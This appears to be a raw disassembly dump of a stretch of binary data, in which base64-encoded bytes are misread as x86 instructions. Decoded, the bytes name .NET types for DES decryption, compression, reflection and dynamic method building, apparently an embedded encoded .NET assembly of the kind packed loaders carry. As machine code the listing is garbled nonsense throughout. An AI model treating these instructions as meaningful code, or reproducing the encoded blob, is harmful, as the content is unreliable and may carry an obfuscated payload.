4394d7:	30 41 54             	xor    %al,0x54(%ecx)
4394da:	57                   	push   %edi
4394db:	56                   	push   %esi
4394dc:	74 62                	je     0x439540
4394de:	33 4a 35             	xor    0x35(%edx),%ecx
4394e1:	55                   	push   %ebp
4394e2:	33 52 79             	xor    0x79(%edx),%edx
4394e5:	5a                   	pop    %edx
4394e6:	57                   	push   %edi
4394e7:	46                   	inc    %esi
4394e8:	74 41                	je     0x43952b
4394ea:	47                   	inc    %edi
4394eb:	74 6c                	je     0x439559
4394ed:	65 56                	gs push %esi
4394ef:	39 77 59             	cmp    %esi,0x59(%edi)
4394f2:	58                   	pop    %eax
4394f3:	4a                   	dec    %edx
4394f4:	68 62 51 42 6e       	push   $0x6e425162
4394f9:	5a                   	pop    %edx
4394fa:	58                   	pop    %eax
4394fb:	52                   	push   %edx
4394fc:	66 53                	push   %bx
4394fe:	58                   	pop    %eax
4394ff:	52                   	push   %edx
439500:	6c                   	insb   (%dx),%es:(%edi)
439501:	62 51 42             	bound  %edx,0x42(%ecx)
439504:	54                   	push   %esp
439505:	65 58                	gs pop %eax
439507:	4e                   	dec    %esi
439508:	30 5a 57             	xor    %bl,0x57(%edx)
43950b:	30 41 55             	xor    %al,0x55(%ecx)
43950e:	33 6c 74 62          	xor    0x62(%esp,%esi,2),%ebp
439512:	57                   	push   %edi
439513:	56                   	push   %esi
439514:	30 63 6d             	xor    %ah,0x6d(%ebx)
439517:	6c                   	insb   (%dx),%es:(%edi)
439518:	6a 51                	push   $0x51
43951a:	57                   	push   %edi
43951b:	78 6e                	js     0x43958b
43951d:	62 33                	bound  %esi,(%ebx)
43951f:	4a                   	dec    %edx
439520:	70 64                	jo     0x439586
439522:	47                   	inc    %edi
439523:	68 74 41 45 68       	push   $0x68454174
439528:	68 63 32 68 42       	push   $0x42683263
43952d:	62 47 64             	bound  %eax,0x64(%edi)
439530:	76 63                	jbe    0x439595
439532:	6d                   	insl   (%dx),%es:(%edi)
439533:	6c                   	insb   (%dx),%es:(%edi)
439534:	30 61 47             	xor    %ah,0x47(%ecx)
439537:	30 41 53             	xor    %al,0x53(%ecx)
43953a:	55                   	push   %ebp
43953b:	4e                   	dec    %esi
43953c:	79 65                	jns    0x4395a3
43953e:	58                   	pop    %eax
43953f:	42                   	inc    %edx
439540:	30 62 31             	xor    %ah,0x31(%edx)
439543:	52                   	push   %edx
439544:	79 59                	jns    0x43959f
439546:	57                   	push   %edi
439547:	35 7a 5a 6d 39       	xor    $0x396d5a7a,%eax
43954c:	79 62                	jns    0x4395b0
43954e:	51                   	push   %ecx
43954f:	42                   	inc    %edx
439550:	53                   	push   %ebx
439551:	5a                   	pop    %edx
439552:	57                   	push   %edi
439553:	46                   	inc    %esi
439554:	6b 51 6d 39          	imul   $0x39,0x6d(%ecx),%edx
439558:	76 62                	jbe    0x4395bc
43955a:	47                   	inc    %edi
43955b:	56                   	push   %esi
43955c:	68 62 67 42 4e       	push   $0x4e426762
439561:	61                   	popa
439562:	57                   	push   %edi
439563:	34 41                	xor    $0x41,%al
439565:	51                   	push   %ecx
439566:	58                   	pop    %eax
439567:	42                   	inc    %edx
439568:	77 52                	ja     0x4395bc
43956a:	47                   	inc    %edi
43956b:	39 74 59 57          	cmp    %esi,0x57(%ecx,%ebx,2)
43956f:	6c                   	insb   (%dx),%es:(%edi)
439570:	75 41                	jne    0x4395b3
439572:	47                   	inc    %edi
439573:	64 6c                	fs insb (%dx),%es:(%edi)
439575:	64 46                	fs inc %esi
439577:	39 44 64 58          	cmp    %eax,0x58(%esp,%eiz,2)
43957b:	4a                   	dec    %edx
43957c:	79 5a                	jns    0x4395d8
43957e:	57                   	push   %edi
43957f:	35 30 52 47 39       	xor    $0x39475230,%eax
439584:	74 59                	je     0x4395df
439586:	57                   	push   %edi
439587:	6c                   	insb   (%dx),%es:(%edi)
439588:	75 41                	jne    0x4395cb
43958a:	46                   	inc    %esi
43958b:	4e                   	dec    %esi
43958c:	35 63 33 52 6c       	xor    $0x6c523363,%eax
439591:	62 53 35             	bound  %edx,0x35(%ebx)
439594:	4a                   	dec    %edx
439595:	54                   	push   %esp
439596:	79 35                	jns    0x4395cd
439598:	44                   	inc    %esp
439599:	62 32                	bound  %esi,(%edx)
43959b:	31 77 63             	xor    %esi,0x63(%edi)
43959e:	6d                   	insl   (%dx),%es:(%edi)
43959f:	56                   	push   %esi
4395a0:	7a 63                	jp     0x439605
4395a2:	32 6c 76 62          	xor    0x62(%esi,%esi,2),%ch
4395a6:	67 42                	addr16 inc %edx
4395a8:	54                   	push   %esp
4395a9:	65 58                	gs pop %eax
4395ab:	4e                   	dec    %esi
4395ac:	30 5a 57             	xor    %bl,0x57(%edx)
4395af:	30 75 55             	xor    %dh,0x55(%ebp)
4395b2:	6d                   	insl   (%dx),%es:(%edi)
4395b3:	56                   	push   %esi
4395b4:	6d                   	insl   (%dx),%es:(%edi)
4395b5:	62 47 56             	bound  %eax,0x56(%edi)
4395b8:	6a 64                	push   $0x64
4395ba:	47                   	inc    %edi
4395bb:	6c                   	insb   (%dx),%es:(%edi)
4395bc:	76 62                	jbe    0x439620
4395be:	67 42                	addr16 inc %edx
4395c0:	7a 5a                	jp     0x43961c
4395c2:	58                   	pop    %eax
4395c3:	52                   	push   %edx
4395c4:	66 55                	push   %bp
4395c6:	47                   	inc    %edi
4395c7:	39 7a 61             	cmp    %edi,0x61(%edx)
4395ca:	58                   	pop    %eax
4395cb:	52                   	push   %edx
4395cc:	70 62                	jo     0x439630
4395ce:	32 34 41             	xor    (%ecx,%eax,2),%dh
4395d1:	53                   	push   %ebx
4395d2:	57                   	push   %edi
4395d3:	35 32 59 57 78       	xor    $0x78575932,%eax
4395d8:	70 5a                	jo     0x439634
4395da:	45                   	inc    %ebp
4395db:	39 77 5a             	cmp    %esi,0x5a(%edi)
4395de:	58                   	pop    %eax
4395df:	4a                   	dec    %edx
4395e0:	68 64 47 6c 76       	push   $0x766c4764
4395e5:	62 6b 56             	bound  %ebp,0x56(%ebx)
4395e8:	34 59                	xor    $0x59,%al
4395ea:	32 56 77             	xor    0x77(%esi),%dl
4395ed:	64 47                	fs inc %edi
4395ef:	6c                   	insb   (%dx),%es:(%edi)
4395f0:	76 62                	jbe    0x439654
4395f2:	67 42                	addr16 inc %edx
4395f4:	54                   	push   %esp
4395f5:	64 48                	fs dec %eax
4395f7:	4a                   	dec    %edx
4395f8:	70 62                	jo     0x43965c
4395fa:	6d                   	insl   (%dx),%es:(%edi)
4395fb:	64 44                	fs inc %esp
4395fd:	62 32                	bound  %esi,(%edx)
4395ff:	31 77 59             	xor    %esi,0x59(%edi)
439602:	58                   	pop    %eax
439603:	4a                   	dec    %edx
439604:	70 63                	jo     0x439669
439606:	32 39                	xor    (%ecx),%bh
439608:	75 41                	jne    0x43964b
43960a:	45                   	inc    %ebp
43960b:	31 6c 64 47          	xor    %ebp,0x47(%esp,%eiz,2)
43960f:	68 76 5a 45 6c       	push   $0x6c455a76
439614:	75 5a                	jne    0x439670
439616:	6d                   	insl   (%dx),%es:(%edi)
439617:	38 41 51             	cmp    %al,0x51(%ecx)
43961a:	32 39                	xor    (%ecx),%bh
43961c:	75 63                	jne    0x439681
43961e:	33 52 79             	xor    0x79(%edx),%edx
439621:	64 57                	fs push %edi
439623:	4e                   	dec    %esi
439624:	30 62 33             	xor    %ah,0x33(%edx)
439627:	4a                   	dec    %edx
439628:	4a                   	dec    %edx
439629:	62 6d 5a             	bound  %ebp,0x5a(%ebp)
43962c:	76 41                	jbe    0x43966f
43962e:	45                   	inc    %ebp
43962f:	46                   	inc    %esi
439630:	75 5a                	jne    0x43968c
439632:	48                   	dec    %eax
439633:	4a                   	dec    %edx
439634:	76 61                	jbe    0x439697
439636:	57                   	push   %edi
439637:	52                   	push   %edx
439638:	54                   	push   %esp
439639:	64 48                	fs dec %eax
43963b:	56                   	push   %esi
43963c:	6b 61 57 38          	imul   $0x38,0x57(%ecx),%esp
439640:	41                   	inc    %ecx
439641:	51                   	push   %ecx
439642:	6d                   	insl   (%dx),%es:(%edi)
439643:	6c                   	insb   (%dx),%es:(%edi)
439644:	30 62 57             	xor    %ah,0x57(%edx)
439647:	46                   	inc    %esi
439648:	77 41                	ja     0x43968b
43964a:	46                   	inc    %esi
43964b:	4e                   	dec    %esi
43964c:	73 5a                	jae    0x4396a8
43964e:	57                   	push   %edi
43964f:	56                   	push   %esi
439650:	77 41                	ja     0x439693
439652:	45                   	inc    %ebp
439653:	4e                   	dec    %esi
439654:	6f                   	outsl  %ds:(%esi),(%dx)
439655:	59                   	pop    %ecx
439656:	58                   	pop    %eax
439657:	49                   	dec    %ecx
439658:	41                   	inc    %ecx
439659:	53                   	push   %ebx
43965a:	57                   	push   %edi
43965b:	35 32 62 32 74       	xor    $0x74326232,%eax
439660:	6c                   	insb   (%dx),%es:(%edi)
439661:	54                   	push   %esp
439662:	57                   	push   %edi
439663:	56                   	push   %esi
439664:	74 59                	je     0x4396bf
439666:	6d                   	insl   (%dx),%es:(%edi)
439667:	56                   	push   %esi
439668:	79 41                	jns    0x4396ab
43966a:	45                   	inc    %ebp
43966b:	4a                   	dec    %edx
43966c:	70 62                	jo     0x4396d0
43966e:	6d                   	insl   (%dx),%es:(%edi)
43966f:	46                   	inc    %esi
439670:	79 65                	jns    0x4396d7
439672:	56                   	push   %esi
439673:	4a                   	dec    %edx
439674:	6c                   	insb   (%dx),%es:(%edi)
439675:	59                   	pop    %ecx
439676:	57                   	push   %edi
439677:	52                   	push   %edx
439678:	6c                   	insb   (%dx),%es:(%edi)
439679:	63 67 42             	arpl   %esp,0x42(%edi)
43967c:	54                   	push   %esp
43967d:	53                   	push   %ebx
43967e:	45                   	inc    %ebp
43967f:	45                   	inc    %ebp
439680:	78 51                	js     0x4396d3
439682:	33 4a 35             	xor    0x35(%edx),%ecx
439685:	63 48 52             	arpl   %ecx,0x52(%eax)
439688:	76 55                	jbe    0x4396df
43968a:	32 56 79             	xor    0x79(%esi),%dl
43968d:	64 6d                	fs insl (%dx),%es:(%edi)
43968f:	6c                   	insb   (%dx),%es:(%edi)
439690:	6a 5a                	push   $0x5a
439692:	56                   	push   %esi
439693:	42                   	inc    %edx
439694:	79 62                	jns    0x4396f8
439696:	33 5a 70             	xor    0x70(%edx),%ebx
439699:	5a                   	pop    %edx
43969a:	47                   	inc    %edi
43969b:	56                   	push   %esi
43969c:	79 41                	jns    0x4396df
43969e:	46                   	inc    %esi
43969f:	4a                   	dec    %edx
4396a0:	54                   	push   %esp
4396a1:	51                   	push   %ecx
4396a2:	55                   	push   %ebp
4396a3:	4e                   	dec    %esi
4396a4:	79 65                	jns    0x43970b
4396a6:	58                   	pop    %eax
4396a7:	42                   	inc    %edx
4396a8:	30 62 31             	xor    %ah,0x31(%edx)
4396ab:	4e                   	dec    %esi
4396ac:	6c                   	insb   (%dx),%es:(%edi)
4396ad:	63 6e 5a             	arpl   %ebp,0x5a(%esi)
4396b0:	70 59                	jo     0x43970b
4396b2:	32 56 51             	xor    0x51(%esi),%dl
4396b5:	63 6d 39             	arpl   %ebp,0x39(%ebp)
4396b8:	32 61 57             	xor    0x57(%ecx),%ah
4396bb:	52                   	push   %edx
4396bc:	6c                   	insb   (%dx),%es:(%edi)
4396bd:	63 67 42             	arpl   %esp,0x42(%edi)
4396c0:	45                   	inc    %ebp
4396c1:	52                   	push   %edx
4396c2:	56                   	push   %esi
4396c3:	4e                   	dec    %esi
4396c4:	44                   	inc    %esp
4396c5:	63 6e 6c             	arpl   %ebp,0x6c(%esi)
4396c8:	77 64                	ja     0x43972e
4396ca:	47                   	inc    %edi
4396cb:	39 54 5a 58          	cmp    %edx,0x58(%edx,%ebx,2)
4396cf:	4a                   	dec    %edx
4396d0:	32 61 57             	xor    0x57(%ecx),%ah
4396d3:	4e                   	dec    %esi
4396d4:	6c                   	insb   (%dx),%es:(%edi)
4396d5:	55                   	push   %ebp
4396d6:	48                   	dec    %eax
4396d7:	4a                   	dec    %edx
4396d8:	76 64                	jbe    0x43973e
4396da:	6d                   	insl   (%dx),%es:(%edi)
4396db:	6c                   	insb   (%dx),%es:(%edi)
4396dc:	6b 5a 58 49          	imul   $0x49,0x58(%edx),%ebx
4396e0:	41                   	inc    %ecx
4396e1:	54                   	push   %esp
4396e2:	57                   	push   %edi
4396e3:	56                   	push   %esi
4396e4:	30 61 47             	xor    %ah,0x47(%ecx)
4396e7:	39 6b 51             	cmp    %ebp,0x51(%ebx)
4396ea:	6e                   	outsb  %ds:(%esi),(%dx)
4396eb:	56                   	push   %esi
4396ec:	70 62                	jo     0x439750
4396ee:	47                   	inc    %edi
4396ef:	52                   	push   %edx
4396f0:	6c                   	insb   (%dx),%es:(%edi)
4396f1:	63 67 42             	arpl   %esp,0x42(%edi)
4396f4:	4e                   	dec    %esi
4396f5:	62 32                	bound  %esi,(%edx)
4396f7:	52                   	push   %edx
4396f8:	31 62 47             	xor    %esp,0x47(%edx)
4396fb:	56                   	push   %esi
4396fc:	43                   	inc    %ebx
4396fd:	64 57                	fs push %edi
4396ff:	6c                   	insb   (%dx),%es:(%edi)
439700:	73 5a                	jae    0x43975c
439702:	47                   	inc    %edi
439703:	56                   	push   %esi
439704:	79 41                	jns    0x439747
439706:	46                   	inc    %esi
439707:	52                   	push   %edx
439708:	35 63 47 56 43       	xor    $0x43564763,%eax
43970d:	64 57                	fs push %edi
43970f:	6c                   	insb   (%dx),%es:(%edi)
439710:	73 5a                	jae    0x43976c
439712:	47                   	inc    %edi
439713:	56                   	push   %esi
439714:	79 41                	jns    0x439757
439716:	45                   	inc    %ebp
439717:	78 76                	js     0x43978f
439719:	59                   	pop    %ecx
43971a:	32 46 73             	xor    0x73(%esi),%al
43971d:	51                   	push   %ecx
43971e:	6e                   	outsb  %ds:(%esi),(%dx)
43971f:	56                   	push   %esi
439720:	70 62                	jo     0x439784
439722:	47                   	inc    %edi
439723:	52                   	push   %edx
439724:	6c                   	insb   (%dx),%es:(%edi)
439725:	63 67 42             	arpl   %esp,0x42(%edi)
439728:	51                   	push   %ecx
439729:	59                   	pop    %ecx
43972a:	58                   	pop    %eax
43972b:	4a                   	dec    %edx
43972c:	68 62 57 56 30       	push   $0x30565762
439731:	5a                   	pop    %edx
439732:	58                   	pop    %eax